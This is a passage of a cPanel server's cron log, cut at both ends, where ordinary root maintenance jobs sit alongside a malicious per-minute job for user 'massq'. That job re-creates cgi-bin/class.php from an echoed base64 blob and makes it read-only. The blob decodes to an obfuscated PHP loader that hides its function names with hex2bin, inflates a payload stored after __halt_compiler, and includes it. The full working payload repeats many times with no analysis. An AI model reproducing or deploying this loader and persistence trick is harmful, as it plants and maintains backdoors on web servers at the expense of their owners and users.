"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:09:01 server CROND[10304]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 08:10:01 server CROND[10387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:10:01 server CROND[10388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 08:10:01 server CROND[10389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:10:01 server CROND[10386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:11:01 server CROND[10677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:12:01 server CROND[10735]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 08:12:01 server CROND[10736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:13:01 server CROND[10878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:14:01 server CROND[11051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:15:01 server CROND[11101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:15:01 server CROND[11102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:15:01 server CROND[11103]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 08:15:01 server CROND[11105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:16:01 server CROND[11216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:17:01 server CROND[11267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:18:01 server CROND[11331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:19:01 server CROND[11483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:20:01 server CROND[11539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:20:01 server CROND[11538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:20:01 server CROND[11540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:20:01 server CROND[11541]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 08:20:01 server CROND[11542]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 08:21:02 server CROND[11646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:22:01 server CROND[11723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUp